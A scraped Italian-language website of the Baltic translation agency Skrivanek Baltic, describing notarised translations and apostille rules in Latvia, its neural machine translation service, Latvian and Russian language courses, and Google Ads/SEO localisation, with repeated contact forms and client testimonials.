Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO TRADUZIONE Offriamo servizi di traduzione di alta qualità nelle combinazioni linguistiche di cui avete bisogno, garantendo riservatezza e rispetto delle scadenze. Scopri di più INTERPRETAZIONE Forniamo ogni tipo di servizio di interpretazione in diverse combinazioni di più di 40 lingue. Scopri di più LOCALIZZAZIONE Non forniamo solo traduzioni, ma ci preoccupiamo anche che i prodotti e i software localizzati funzionino bene. Scopri di più FORMAZIONE LINGUISTICA Offriamo una formazione linguistica pratica sia per privati che per i dipendenti di aziende e istituzioni con diversi livelli di competenza linguistica. Scopri di più SOME REASONS TO CHOOSE US  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us FORNIAMO SERVIZI LINGUISTICI PER DIVERSI SETTORI IN OLTRE 300 COMBINAZIONI LINGUISTICHE Lingua ceca Lingua danese Lingua estone Lingua finlandese Lingua francese Lingua greca Lingua inglese Lingua italiana Lingua lituana Lingua norvegese Lingua polacca Lingua russa Lingua spagnola Lingua svedese Lingua tedesca Altre lingue Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni certificate da un notaio. I documenti sono verificati da un notaio giurato, mentre un traduttore giurato si assume la piena responsabilità delle traduzioni. - Published: 2024-02-12 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ TRADUZIONI CERTIFICATE DA UN NOTAIO Una traduzione certificata da un notaio è una traduzione la cui fedeltà all’originale è confermata dalla firma di un traduttore giurato e che, a sua volta, è poi confermata da un notaio. La necessità di questo tipo di traduzioni è stabilita da varie leggi e regolamenti. In poche parole, un notaio verifica che il traduttore abbia la formazione e le qualifiche necessarie a svolgere la traduzione e lo avverte delle sue responsabilità secondo le Sezioni 300 e 302 del codice penale della Repubblica di Lettonia nel caso in cui produca consapevolmente una traduzione falsa e/o incorretta. TIPI DI CERTIFICAZIONE PER UNA TRADUZIONE Certificazione del documento originale: una traduzione certificata da un traduttore qualificato e firmata da un notaio viene allegata al documento originale. Certificazione della copia: viene fatta una fotocopia del documento originale che viene poi allegata a una traduzione svolta in una determinata lingua. Questa viene certificata da un traduttore qualificato. La fotocopia e la traduzione ad essa allegata possono essere certificate da un notaio solo in presenza del documento originale. CERTIFICAZIONE DELLA CORRETTEZZA DELLA PRIMA TRADUZIONE, DI LUNGHEZZA FINO A 10 PAGINE, CON SIGILLO DELLA NOSTRA AGENZIA, A SOLI EUR 5,00 + IVA! Nel caso non abbiate bisogno di una traduzione certificata da un notaio, possiamo certificare la correttezza delle nostre traduzioni con il sigillo della nostra agenzia. Skrivanek Baltic offre traduzioni certificate dal notaio in queste lingue. LE AZIENDE NOSTRE CLIENTI CHE NECESSITANO DI UNA TRADUZIONE CERTIFICATA DAL NOTAIO POSSONO: presentare e ricevere i documenti presso l'ufficio di Skrivanek Baltic a Riga; ricevere la traduzione certificata dal notaio presso lo studio notarile locato nel centro di Riga; farsi spedire i documenti dal corriere da tutta la Lettonia (per conoscere il costo del servizio, contattateci). Chiamate il numero (+371) 67 240 364 o inviate un'e-mail a birojs@skrivanek. lv per concordare la soluzione più conveniente per voi. AUTENTICAZIONE DEI DOCUMENTI UTILIZZO DI DOCUMENTI RILASCIATI ALL'ESTERO NELLA REPUBBLICA DI LETTONIA Se il documento è stato rilasciato in un paese parte della Convenzione dell’Aia del 1961 sull’abolizione della legalizzazione di atti pubblici stranieri, la sua autenticità deve essere certificata dall’autorità competente straniera mediante apostilla. In Lettonia non sarà quindi necessaria una doppia certificazione di un documento mediante apostilla, dato che un documento certificato con apostilla in Grecia sarà valido, ad esempio, in Lettonia, Polonia e in più di 100 altre nazioni aderenti alla Convenzione dell’Aia. UTILIZZO ALL’ESTERO DI DOCUMENTI EMESSI NELLA REPUBBLICA DI LETTONIA A partire dal 1° luglio 2019, i documenti pubblici emessi in Lettonia il cui uso è previsto in una nazione aderente alla convenzione dell’Aia del 1961 sono certificati mediante apostilla da un notaio. Per documenti pubblici si intende, ad esempio, diplomi scolastici e universitari, certificati di nascita, certificati di casellario giudiziale, certificati di matrimonio, certificati sanitari, ecc. ma anche procure, i quali sono emessi il Lettonia e il cui uso è previsto all’estero. Per di più, è anche possibile far certificare i documenti da un notaio da remoto elettronicamente. CONSIGLI UTILI PER LA PREPARAZIONE DEI DOCUMENTI Per preparare una traduzione certificata da un notaio è necessario un documento legalmente valido, il quale dovrà contenere le seguenti informazioni: nome dell'autore del documento; data della creazione del documento; nome del luogo di creazione, emissione e firma del documento; firma/e. Per ulteriori informazioni sulla redazione dei documenti, si rimanda al Regolamento del Consiglio n. 916 riguardante le "Procedure per l'elaborazione e la progettazione dei documenti", del 28 settembre 2010. Per certificare la copia di un documento presso un notaio, è necessario il documento originale. FORNIAMO TRADUZIONI CERTIFICATE DAL NOTAIO IN PIÙ DI 110 LINGUE Lingua ceca Lingua danese Lingua estone Lingua finlandese Lingua francese Lingua greca Lingua inglese Lingua italiana Lingua lituana Lingua norvegese Lingua polacca Lingua russa Lingua spagnola Lingua svedese Lingua tedesca Altre lingue HAI BISOGNO DI UNA TRADUZIONE CERTIFICATA DA UN NOTAIO? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia DOMANDE FREQUENTI Nonostante la maggior parte dei nostri clienti siano persone legali, aiutiamo con piacere anche i privati, i quali solitamente ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. I prezzi dei servizi di traduzione sono calcolati considerando il numero di parole del documento da tradurre, la combinazione linguistica e altri elementi. Inviateci i vostri documenti e, prima di iniziare la traduzione, vi invieremo il preventivo con il prezzo del servizio. La ricezione di un preventivo gratuito non comporta alcun obbligo di collaborazione. Se possibile, lavoriamo sempre elettronicamente con i documenti originali e non apportiamo alcuna modifica a stile o formattazione. Se necessario, grazie all’aiuto del nostro team di desktop publishing (DTP), possiamo garantire che la traduzione del documento del cliente abbia lo stesso aspetto dell’originale o che venga formattato secondo le istruzioni del cliente. Siamo certificati ISO 9001, EN 17100, EN ISO 14001, EN ISO 18585 e ISO 27001. Diamo estrema importanza alla privacy dei nostri clienti, ci assumiamo la responsabilità di tutto ciò che facciamo e siamo sempre puntuali! La norma EN 17100 specifica i requisiti di tutti quegli aspetti del processo id traduzione che influenzano in maniera diretta la qualità e la fornitura dei servizi di traduzione. Inoltre, affinché i nostri clienti possano stare tranquilli, abbiamo stipulato un accordo di responsabilità professionale con la compagnia assicurativa internazionale Colonnade Insurance S. A. Forniamo anche traduzioni con certificazione notarile o le certifichiamo noi stessi.  Qualità e riservatezza garantite dai certificati ISO  I nostri project manager parlano lettone, russo, inglese, tedesco e polacco 99% of customers receive a price quote in less than 15 minutesPiù di 3000 linguisti professionisti e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Skrivanek NMT è stato sviluppato durante i nostri 25 anni di esperienza e dalla competenza nel settore della traduzione del team di Skrivanek. - Published: 2024-02-12 - Modified: 2024-02-14 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ TRADUZIONE AUTOMATICA NEURALE - SKRIVANEK NMT 1 Avete bisogno di tradurre un testo di grandi dimensioni ma avete poco tempo? Non riuscite a realizzare un progetto di traduzione nei tempi previsti? Il termine di consegna della traduzione è alle porte? ABBIAMO UNA SOLUZIONE: SKRIVANEK NMT Skrivanek NMT è stato sviluppato durante i nostri 25 anni di esperienza e dalla competenza nel settore della traduzione del team di Skrivanek. Un software di traduzione automatica neurale funziona basandosi su principi simili a quelli su cui si basano i neuroni del cervello dell’uomo. Il software Skrivanek NMT è stato sviluppato con il contributo non soltanto dei linguisti specializzati di Skrivanek, ma anche di esperti provenienti da diversi settori. OFFRIAMO DIVERSI TIPI DI SERVIZI DI TRADUZIONE AUTOMATICA: traduzione automatica senza post-editing; traduzione automatica con post-editing leggero; traduzione automatica con post-editing completo, che equivale a una traduzione umana. Consigliamo una traduzione automatica senza post-editing per risparmiare tempo e soldi nei casi in cui sia necessario tradurre in pochissimo tempo un gran volume di documenti standard senza caratteristiche specifiche. Se invece la traduzione deve essere utilizzata per comunicare con clienti, partner o colleghi, consigliamo una traduzione automatica con un post-editing leggero o completo, il quale sarà svolto da un madrelingua della lingua di arrivo o da un esperto del settore. I documenti e i testi che invece dovranno essere poi pubblicati o stampati, come anche testi specialistici o testi settoriali complessi, dovrebbero essere sempre affidati a traduttori e revisori professionisti. CHE COS'È IL POST-EDITING? Quando si parla di post-editing si intende la revisione da parte di un madrelingua dell’output prodotto da un software di traduzione automatica. Offriamo due tipi di servizi di post-editing: post-editing leggero: il suo scopo è quello di eliminare gli errori grammaticali e i gravi errori stilistici e di contesto presenti nel testo. Il risultato è un contenuto facile da leggere e da comprendere; post-editing completo: il testo è revisionato e corretto con il fine di creare un testo di arrivo di una qualità equiparabile ad una traduzione umana. Esso deve non soltanto riprodurre l’idea principale del testo di arrivo, ma deve anche rispettare la terminologia specifica del settore e il corretto uso dei mezzi linguistici. QUANTO COSTA LA TRADUZIONE AUTOMATICA? La traduzione automatica neurale, o NMT (dall’inglese Neural Machine Translation), è uno degli ultimi sviluppi del campo delle tecnologie linguistiche. La traduzione automatica neurale si basa su una rete neurale di algoritmi i quali, similmente al cervello umano, sono in grado di analizzare il testo su tutti i livelli linguistici: fonetico, morfologico e sintattico. Essi sono quindi in grado di identificare i confini delle frasi e il bisogno di utilizzare la lettera maiuscola. Garantendo un’alta efficacia nella produzione di traduzioni e degli output di maggiore qualità rispetto alle precedenti tecnologie di traduzione automatica, la popolarità di queste tecnologie di traduzione automatica neurale è in crescita in tutto il mondo. I VANTAGGI DI SKRIVANEK NMT: è un software che permette di risparmiare molto tempo: il progetto di traduzione può essere consegnato lo stesso giorno dell’ordine. Ad esempio, se per tradurre 50 pagine in un giorno sarebbero necessari dai 3 ai 5 traduttori, utilizzando Skrivanek NMT la traduzione potrebbe essere completata in due ore; Offriamo un servizio di traduzione automatica senza post-editing di documenti di poche pagine completamente gratuito; garantiamo sicurezza e riservatezza: i server di Skrivanek si trovano un luogo sicuro e sono accessibili solo da personale con un’autorizzazione speciale. La sicurezza dello scambio dei dati tra server è verificata; prezzo inferiore rispetto alla traduzione tradizionale; è possibile combinare la traduzione automatica con strumenti di traduzione assistita - CAT; la formattazione del testo è conservata (font, tabelle, colori, indice); è possibile usufruire di un servizio di traduzione automatica neurale personalizzato, tenendo conto del settore dell’azienda e della sua area di specializzazione; servizi di post-editing. GLI SVANTAGGI DI SKRIVANEK NMT: Il nostro servizio di traduzione automatica neurale non è funzionale per tutti i settori, formati di file e testi. I nostri specialisti sapranno consigliarvi se è possibile tradurre il progetto utilizzando SKRIVANEK NMT; È difficile tradurre i testi rendendo anche le sfumature umoristiche; Il testo potrebbe perdere fluidità e l’adeguata formulazione delle frasi.   * In alcuni casi, per permettere la traduzione del testo utilizzando SKRIVANEK NMT sarà necessario pre-editare o preparare il testo alla NMT. DOMANDE FREQUENTI Skrivanek NMT traduce 1200 parole, ovvero circa cinque pagine, al secondo. È tuttavia necessario considerare anche il tempo necessario per preparare il progetto e per implementarlo. Il modo più veloce e comodo per saperlo è contattare gli specialisti di Skrivanek, i quali vi spiegheranno con piacere se la tecnologia di traduzione automatica neurale fa al caso del vostro progetto di traduzione. Essi valuteranno se la soluzione migliore è quella di eseguire una traduzione automatica senza post-editing o, in alternativa, optare per un post-editing completo munito di revisione. Ci sono alcune domande standard che possono aiutarvi a scegliere il servizio giusto: per chi è la traduzione? la traduzione è destinata all'editoria o dovrà essere stampata? una comprensione generale del contenuto del testo è sufficiente? quanto è settoriale il testo? quanto è settoriale il testo? È sempre importante capire cosa possono e non possono fare le tecnologie di traduzione automatica neurale. Nei casi in cui è sufficiente comprendere l’idea principale del testo, ci si può affidare alla traduzione automatica. Un servizio di traduzione automatica con post-editing completo equivale a una traduzione umana. Il servizio Skrivanek NMT è disponibile nelle seguenti combinazioni linguistiche: Polacco-Inglese, Inglese-Polacco; Tedesco-Inglese, Inglese-Tedesco; Francese-Inglese, Inglese-Francese; Inglese-Finlandese, Inglese-Ceco, Polacco-Russo; ma anche altre combinazioni. La traduzione automatica (MT) e gli strumenti di traduzione assistita (CAT) sono due modi differenti di tradurre: La traduzione automatica è generata dal computer; Gli strumenti di traduzione assistita facilitano il lavoro del traduttore individuando i segmenti del documento che sono già stati tradotti e approvati. Il prezzo finale dipende dal tempo di consegna, dal formato del file, dalla quantità di testo da tradurre, dall’ambito, nonché da altri servizi che potrebbero essere richiesti. Ogni ordine viene quindi valutato singolarmente. HAI BISOGNO DI UN SERVIZIO DI TRADUZIONE AUTOMATICA? SIETE ALLA RICERCA DI UN SERVIZIO LINGUISTICO O DI UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Contattateci OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Formazione sul lettone per privati e aziende. Imparate il lettone di persona o online. Insegnanti professionisti. Metodo di apprendimento efficiente. - Published: 2024-02-12 - Modified: 2024-02-26 - URL: https://skrivanek.lv/it/formazione-linguistica/corsi-di-lingua-lettone/ - Translation Priorities: Optional Vivete in Lettonia ma non sapete la lingua? Avete bisogno del lettone per lavoro? Oppure volete solo migliorare la vostra competenza linguistica? Qualsiasi sia la vostra esigenza, a Skrivanek potrete trovare il corso di lingua su misura per voi: corsi individuali in presenza o online, corsi di gruppo aperti a tutti (al momento i posti sono limitati) o solo per i dipendenti della vostra azienda. Skrivanek organizza anche corsi di lettone per bambini e ragazzi; grazie alle moderne tecnologie non importa dove vivete, se in Italia, Svizzera, San Marino, o proprio dietro l’angolo. Invia un'e-mail a valoduskola@skrivanek. lv o chiamaci al numero +371 29 337 892 e troveremo la soluzione che fa per te. Lo Skrivanek Baltic Training Centre è un centro di formazione che da più di dieci anni fornisce servizi di formazione linguistica per tutti. Organizziamo corsi di lingua per aziende e privati, per adulti e bambini. Il corso di lettone è uno dei nostri corsi di punta! Volete imparare il lettone? Cosa aspettate allora, iscrivetevi a uno dei nostri corsi! Essi sono molto popolari tra gli stranieri che lavorano in Lettonia o che lavorano per aziende che si trovano in Lettonia ma da remoto da un altro paese. Sono inoltre molti anche i viaggiatori interessati nella lingua e cultura lettone che ci scelgono per imparare la lingua di questa nazione sul mar Baltico. Organizziamo anche campi estivi dove aiutiamo con piacere bambini e adolescenti, le cui famiglie si trovano e lavorano all’estero, a imparare il lettone durante le loro vacanze estive in Lettonia. CORSI DI LINGUA LETTONE ONLINE Da quando tutto è iniziato a essere da remoto, il nostro corso di lingua lettone online su Zoom, MS Teams, o su qualsiasi altra piattaforma per riunioni online, è diventato il nostro corso più popolare. Grazie alla nostra lunga esperienza possiamo dire con sicurezza che imparare il lettone online è comodo ed efficace. È possibile infatti studiare da qualsiasi parte del mondo ed accordarsi con i nostri insegnati per svolgere le lezioni online su Zoom o MS Teams a seconda della vostra preferenza. Sono diversi i vantaggi dello studiare lettone partecipando a lezioni online: si può imparare la grammatica e il vocabolario, ma anche migliorare la propria comprensione orale della lingua, le capacità di produzione scritta, nonché le proprie competenze orali in contesti sociali o lavorativi in lezioni individuali o di gruppo. Per saperne di più sulle lezioni di lettone su Zoom o su qualsiasi altra piattaforma online, contattateci e sapremo consigliarvi le migliori soluzioni alle vostre esigenze. CORSI DI LETTONE IN AZIENDA Lo Skrivanek Baltic Training Centre ha esperienza nell’offrire soluzioni flessibili agli studenti di lettone di tutto il mondo. Offriamo corsi di gruppo anche alle aziende che vogliono che i loro impiegati imparino il lettone per motivi lavorativi. Le lezioni possono tenersi presso i nostri uffici di mattina, pomeriggio o sera. Preferite invece il vostro ufficio? I nostri insegnanti possono venire ad insegnare lettone dove e quando preferite. LEZIONI DI GRUPPO Chiunque può partecipare alle lezioni organizzate presso la nostra scuola. Il vantaggio delle lezioni di gruppo è l’interattività del processo di apprendimento: gli studenti hanno la possibilità di praticare il lettone con gli altri studenti simulando situazioni di vita reale in giochi di ruolo, dialoghi e imparano ad adattarsi a diversi stili comunicativi. LEZIONI INDIVIDUALI Le lezioni individuali sono la soluzione migliore per coloro che hanno esigenze di apprendimento particolari e che vogliono che l’insegnante li aiuti con gli argomenti della lingua che più gli interessano. Queste lezioni sono perfette anche per quegli studenti o viaggiatori interessati a un corso intensivo di lettone. Vuoi imparare la lingua lettone con lezioni individuali impartite da un insegnate madrelingua? Puoi farlo via Zoom o MS Teams, o con qualsiasi altra piattaforma ti rimanga comoda. Richiedi subito una lezione individuale online (Zoom, MS Teams)! LETTONE PER BAMBINI Anche bambini e adolescenti le cui famiglie vivono e lavorano fuori dalla Lettonia possono migliorare la loro conoscenza della lingua con lezioni a distanza. Lo Skrivanek Baltic Language Centre offre lezioni di lettone individuali online, via Zoom o MS Teams, le quali prevedono attività coinvolgenti per aiutare bambini e adolescenti a imparare il vocabolario lettone e a migliorare la loro grammatica nella lingua sia scritta che parlata. State organizzando le vacanze estive? I campi studio per bambini e adolescenti di Skrivanek Baltic sono proprio ciò che cercate! Partecipando ai nostri campi, i vostri figli potranno passare le vacanze estive in un modo interessante, utile e significativo. Il team di insegnanti di Skrivanek Baltic starà dietro ai vostri bambini durante le loro vacanze estive in Lettonia. Essi parteciperanno ad attività e giochi in classe, le quali li aiuteranno a sviluppare la loro competenza orale e scritta di lettone. Abbiamo aiutato molti bambini a migliorare il loro lettone e non vediamo l’ora di dare il benvenuto a vostro figlio/a nei nostri campi estivi o nelle nostre lezioni individuali! Scopri di più sui campi estivi qui! Anche i viaggiatori che stanno pensando di fare un viaggio a Riga potrebbero provare a imparare la lingua lettone presso lo Skrivanek Baltic Language Centre. Di fatti, potrebbero aggiungere alle attività da fare durante il loro viaggio quella di scoprire di più sulla cultura locale e di socializzare con i locali. Che vogliate migliorare il vostro lettone per scuola, viaggi o lavoro, lo Skrivanek Baltic Training Centre ha sempre la soluzione giusta per dare ai propri clienti quello che cercano. Scegliete il modo migliore per imparare il lettone, contattate il team dello Skrivanek Baltic Training Centre! Sapremo offrirvi il servizio per imparare il lettone su misura per voi! --- > Formazione in russo per privati e aziende. Di persona o online. Metodo di apprendimento efficiente. Insegnanti professionisti. Per saperne di più! - Published: 2024-02-12 - Modified: 2024-02-12 - URL: https://skrivanek.lv/it/formazione-linguistica/corsi-di-lingua-russa/ Lo Skrivanek Baltic Training Centre è un centro di formazione internazionale che da più di dieci anni fornisce servizi di formazione linguistica. Troveremo con piacere soluzioni flessibili e personalizzate per soddisfare le necessità di tutti i nostri clienti. Il team di Skrivanek è esperto nell'offrire soluzioni flessibili agli studenti di russo di tutte le età provenienti da tutto il mondo. Sono diversi i modi in cui si può studiare il russo nel nostro centro: lezioni individuali, lezioni di gruppo, corsi di russo per le aziende, come anche lezioni via Skype. I nostri corsi di russo come lingua straniera sono uno dei nostri punti di forza: persone con diversi tipi di formazione sono interessate a parteciparvi. Offriamo corsi di russo per chiunque: dallo studente che vuole imparare la lingua per motivi di studio, fino all’imprenditore che ha bisogno del russo per poter comunicare con i propri partner commerciali, ma anche per il viaggiatore che, per conoscere meglio la lingua, decide di includere nel proprio viaggio un corso di russo. Volete studiare russo in modo flessibile? Non c’è niente di meglio dello Skrivanek Baltic Training Centre! Affidandovi a noi potrete conciliare l’apprendimento del russo con lavoro, studio, viaggi e vita sociale. Troveremo la soluzione migliore che fa al caso vostro; avrete proprio quello che state cercando quando decidete di iscrivervi a un corso di russo. LEZIONI INDIVIDUALI Se non volete partecipare a lezioni di gruppo e avere un orario fisso, allora la soluzione giusta per voi sono le lezioni individuali. Una volta capite le esigenze del cliente, creeremo un orario su misura che possa soddisfare i suoi bisogni e che sia adatto ai suoi impegni. Le lezioni possono avere luogo presso il nostro centro o dove rimane più comodo al cliente. Un corso individuale è la soluzione migliore per coloro che hanno esigenze specifiche nell'apprendimento del russo, come ad esempio l'apprendimento dell'alfabeto cirillico, la comprensione di testi in russo o la comunicazione in situazioni sociali o lavorative. In questo caso gli studenti potrebbero necessitare di un insegnate esperto in grado di aiutarli con quegli aspetti della lingua in cui hanno particolare interesse. Inoltre, le lezioni individuali sono adatte a chi ha sempre molti impegni, dato che l’orario delle lezioni si può pianificare di volta per volta. Questa soluzione è particolarmente adatta agli studenti o viaggiatori interessati in un corso intensivo di russo. LEZIONI DI GRUPPO Sei un’azienda e vuoi che i tuoi dipendenti imparino russo? Essi sono i benvenuti nel nostro centro, dove organizziamo corsi di gruppo mattutini, pomeridiani o serali. Preferite invece il vostro ufficio? Non ci sono problemi, i nostri insegnanti possono venire ad insegnare dove e quando preferite. Chiunque può partecipare alle lezioni organizzate presso il nostro centro. I corsi di gruppo hanno il vantaggio di essere interattivi: gli studenti hanno la possibilità di parlare russo tra loro utilizzando un vocabolario semplice; essi simulano delle situazioni di vita quotidiana prendendo parte a giochi di ruolo e a dialoghi. Gli studenti possono così imparare dai propri errori e da quelli degli altri e adattarsi a modi di parlare di diverse velocità e ad accenti diversi. CORSI DI RUSSO ONLINE Un’altra soluzione flessibile che lo Skrivanek Baltic Training Centre offre è il corso di lingua russa online. Dalla nostra lunga esperienza siamo arrivati alla conclusione che imparare il russo online è una soluzione moderna ed efficace. Sia l’insegnante che lo studente possono pianificare le lezioni online a seconda della loro disponibilità, per poi studiare, fare conversazione, discutere alcuni argomenti della lingua russa, come ad esempio grammatica e vocabolario, o portare avanti semplici conversazioni di ambito commerciale. ‘EFFECTO’, IL NOSTRO METODO PER APPRENDERE LE LINGUE Tutti i nostri insegnanti sono professionisti di madrelingua russa che si sono specializzati nell’insegnamento del russo come lingua straniera. I nostri studenti possono quindi imparare da loro l’uso autentico della lingua. I nostri insegnanti di russo parlano inglese, il che significa che grammatica, pronuncia o vocabolario possono essere spiegati anche in inglese, così che potete essere sicuri di non perdervi nulla di importante e di imparare a comunicare in russo in forma sia scritta che orale in un batter d’occhio. Per di più, lo Skrivanek Baltic Training Centre ha sviluppato un proprio metodo unico nel suo genere: il metodo EFFECTO, il quale rende il processo di apprendimento divertente ed efficace. Il metodo EFFECTO si basa su quattro elementi base che crediamo essere i più efficaci per apprendere il russo: attività, ispirazione, approccio individuale e garanzia. Qualsiasi corso di russo scegliate di frequentare, sarete sempre parte attiva del processo di apprendimento. Il nostro team di insegnanti è composto solo da professionisti esperti e creativi che sapranno trovare i materiali, contenuti e metodi migliori e che prepareranno lezioni personalizzate per soddisfare le vostre esigenze. Avrete quindi la garanzia di riuscire a padroneggiare la lingua, che vi serva per lavoro, vita sociale, o per viaggiare. Il team di Skrivanek è sempre pronto a soddisfare le vostre necessità e siamo più che felici di dare ai nostri clienti tutti gli strumenti di cui hanno bisogno per imparare il russo. Scegliete il modo in cui volete imparare il russo che più vi si addice e contattate il team dello Skrivanek Baltic Training Centre. Vi aiuteremo con piacere a imparare la lingua russa e lo faremo nella modalità che più preferite, ad esempio con corsi di russo per socializzare, viaggiare o per fini lavorativi, il tutto divertendosi. --- > Localizzeremo il vostro sito web secondo i principi SEO e lo adatteremo a GoogleAds in modo che tutti i vostri potenziali clienti possano trovarvi facilmente! - Published: 2024-02-12 - Modified: 2024-02-26 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ Che il vostro mercato di riferimento sia quello nazionale o internazionale, è importante che ogni prodotto o servizio che offrite venga notato e riconosciuto nell’ambiente digitale. Il maggiore successo si ottiene rivolgendosi ai potenziali clienti nella loro lingua madre e il primo passo per fare ciò è localizzare e adattare i vostri siti web e annunci pubblicitari al mercato locale e al pubblico target. Nella localizzazione di siti web, i principi SEO hanno un ruolo molto importante. Essi influenzano infatti la posizione del determinato sito web nei risultati di ricerca organici (cioè i risultati forniti dal browser che corrispondono alla parola chiave ricercata). Ha un ruolo significativo anche la pubblicità online fatta con Google Ads: essa aiuterà a garantire che i clienti giusti non si perdano le vostre irripetibili offerte. TRADUZIONI DI GOOGLE ADS (ADWORDS) Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. I PRINCIPI PIÙ IMPORTANTI DI GOOGLE ADS I nostri specialisti della localizzazione sono esperti nella traduzione di testi pubblicitari per Google Ads e sanno come trovare le parole chiave più popolari nella lingua di arrivo. Ad esempio, quando si vendono prodotti informatici è fondamentale sapere le parole che il potenziale acquirente potrebbe utilizzare per cercarli. I nostri specialisti adatteranno quindi le parole chiave in modo da garantire che gli utenti vedano l’annuncio pubblicitario indipendentemente da come essi chiamano un dato prodotto. COME FANNO I NOSTRI SPECIALISTI A CREARE UN ANNUNCIO PERSONALIZZATO SU GOOGLE ADS CHE FA AL CASO VOSTRO? Tradurre Google Ads e localizzare annunci pubblicitari non è un’impresa facile e proprio per questo se ne occupano specialisti della localizzazione la cui lingua madre è quella di arrivo. Un buon annuncio su Google Ads ha tre caratteristiche: rispetta il limite dei caratteri; è breve e conciso; è comprensibile per il cliente. Gli annunci pubblicitari di Google Ads non sono solamente tradotti: i nostri specialisti li riscrivono nella lingua di arrivo mantenendo l’idea principale 